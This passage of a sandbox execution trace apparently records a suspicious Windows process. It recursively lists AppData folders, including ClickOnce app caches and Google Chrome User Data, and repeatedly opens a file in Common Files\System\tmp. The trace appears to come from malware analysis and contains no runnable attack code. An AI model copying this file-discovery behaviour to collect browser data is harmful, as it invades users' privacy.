HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xe0, dwReserved1=0x834d00, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.562] AreFileApisANSI () returned 1 [0145.562] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.562] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.562] GetFileType (hFile=0x180) returned 0x1 [0145.562] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65fb9720, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65fb9720, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.563] AreFileApisANSI () returned 1 [0145.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.563] GetFileType (hFile=0x184) returned 0x1 [0145.563] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65fb9720, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.563] AreFileApisANSI () returned 1 [0145.563] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.563] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b794, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x188 [0145.563] GetFileType (hFile=0x188) returned 0x1 [0145.563] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18b7c8 | out: lpFindFileData=0x18b7c8*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17b0 [0145.564] AreFileApisANSI () returned 1 [0145.564] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.564] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18b438, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x18c [0145.564] GetFileType (hFile=0x18c) returned 0x1 [0145.564] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\Data\\CJW3O3KP.BX7\\6NG60CXZ.9GJ\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\Data\\*.*", lpFindFileData=0x18b46c | out: lpFindFileData=0x18b46c*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a3a0420, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d17f0 [0145.564] FindClose (in: hFindFile=0x7d17f0 | out: hFindFile=0x7d17f0) returned 1 [0145.564] GetLastError () returned 0x12 [0145.564] FindClose (in: hFindFile=0x7d17b0 | out: hFindFile=0x7d17b0) returned 1 [0145.566] GetLastError () returned 0x12 [0145.566] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.566] GetLastError () returned 0x12 [0145.566] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.566] GetLastError () returned 0x12 [0145.566] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.566] GetLastError () returned 0x12 [0145.566] AreFileApisANSI () returned 1 [0145.566] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.566] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.566] GetFileType (hFile=0x17c) returned 0x1 [0145.566] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x65f935c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x65f935c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.567] AreFileApisANSI () returned 1 [0145.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.567] GetFileType (hFile=0x180) returned 0x1 [0145.567] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.567] AreFileApisANSI () returned 1 [0145.567] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.567] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.567] GetFileType (hFile=0x184) returned 0x1 [0145.567] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\clic...exe_baa8013a79450f71_0001.0003_none_855491bb37a51715\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.568] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.568] GetLastError () returned 0x12 [0145.568] AreFileApisANSI () returned 1 [0145.568] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.568] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.568] GetFileType (hFile=0x184) returned 0x1 [0145.568] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\goog...app_baa8013a79450f71_0001.0003_290679d077f4cfec\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6a37a2c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a3a0420, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a3a0420, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.569] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.570] GetLastError () returned 0x12 [0145.570] AreFileApisANSI () returned 1 [0145.570] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.570] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.570] GetFileType (hFile=0x184) returned 0x1 [0145.570] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Apps\\2.0\\DQQ19BCJ.JAX\\YVORLGOR.PNT\\manifests\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65f935c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6a37a2c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6a37a2c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x10000000, dwReserved1=0x888230, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.571] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.572] GetLastError () returned 0x12 [0145.572] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.572] GetLastError () returned 0x12 [0145.572] FindClose (in: hFindFile=0x7d16f0 | out: hFindFile=0x7d16f0) returned 1 [0145.572] GetLastError () returned 0x12 [0145.572] FindClose (in: hFindFile=0x7d16b0 | out: hFindFile=0x7d16b0) returned 1 [0145.572] GetLastError () returned 0x12 [0145.572] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0145.572] GetLastError () returned 0x12 [0145.572] AreFileApisANSI () returned 1 [0145.572] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.572] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0145.572] GetFileType (hFile=0x174) returned 0x1 [0145.572] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Deployment\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x65e16800, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x6adbe1a0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x6adbe1a0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0145.573] FindClose (in: hFindFile=0x7d1670 | out: hFindFile=0x7d1670) returned 1 [0145.573] GetLastError () returned 0x12 [0145.573] AreFileApisANSI () returned 1 [0145.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c860, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x174 [0145.573] GetFileType (hFile=0x174) returned 0x1 [0145.573] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\*.*", lpFindFileData=0x18c894 | out: lpFindFileData=0x18c894*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x6b0b7d20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1670 [0145.573] AreFileApisANSI () returned 1 [0145.573] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.573] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c504, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x178 [0145.573] GetFileType (hFile=0x178) returned 0x1 [0145.574] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\*.*", lpFindFileData=0x18c538 | out: lpFindFileData=0x18c538*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f572ae0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f572ae0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x4000000, dwReserved1=0x832450, cFileName=".", cAlternateFileName="")) returned 0x7d16b0 [0145.574] AreFileApisANSI () returned 1 [0145.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18c1a8, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x17c [0145.574] GetFileType (hFile=0x17c) returned 0x1 [0145.574] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\*.*", lpFindFileData=0x18c1dc | out: lpFindFileData=0x18c1dc*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f572ae0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c593160, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c593160, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d16f0 [0145.574] AreFileApisANSI () returned 1 [0145.574] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.574] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.574] GetFileType (hFile=0x180) returned 0x1 [0145.574] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\CertificateTransparency\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x81dfb250, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x81dfb250, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x81dfb250, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.575] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.575] GetLastError () returned 0x12 [0145.575] AreFileApisANSI () returned 1 [0145.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.575] GetFileType (hFile=0x180) returned 0x1 [0145.575] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f5beda0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f5beda0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.575] AreFileApisANSI () returned 1 [0145.575] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.575] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.575] GetFileType (hFile=0x184) returned 0x1 [0145.576] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Crashpad\\reports\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f598c40, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x7f598c40, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x7f598c40, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.576] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.576] GetLastError () returned 0x12 [0145.576] FindClose (in: hFindFile=0x7d1730 | out: hFindFile=0x7d1730) returned 1 [0145.576] GetLastError () returned 0x12 [0145.576] AreFileApisANSI () returned 1 [0145.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.576] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18be4c, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x180 [0145.576] GetFileType (hFile=0x180) returned 0x1 [0145.576] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\*.*", lpFindFileData=0x18be80 | out: lpFindFileData=0x18be80*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x7f846500, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x9c4887c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x9c4887c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x7b0150, cFileName=".", cAlternateFileName="")) returned 0x7d1730 [0145.576] AreFileApisANSI () returned 1 [0145.576] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common files\\system\\tmp"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x18baf0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x184 [0145.577] GetFileType (hFile=0x184) returned 0x1 [0145.577] FindFirstFileA (in: lpFileName="C:\\Documents and Settings\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Cache\\*.*", lpFindFileData=0x18bb24 | out: lpFindFileData=0x18bb24*(dwFileAttributes=0x2010, ftCreationTime.dwLowDateTime=0x805aa0c0, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x805aa0c0, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x805aa0c0, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x7d1770 [0145.577] FindClose (in: hFindFile=0x7d1770 | out: hFindFile=0x7d1770) returned 1 [0145.577] GetLastError () returned 0x12 [0145.577] AreFileApisANSI () returned 1 [0145.577] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x9, lpMultiByteStr=0x5e0074, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 41 [0145.577] CreateFileW (lpFileName="C:\\Program Files\\Common Files\\System\\tmp" (normalized: "c:\\program files\\common 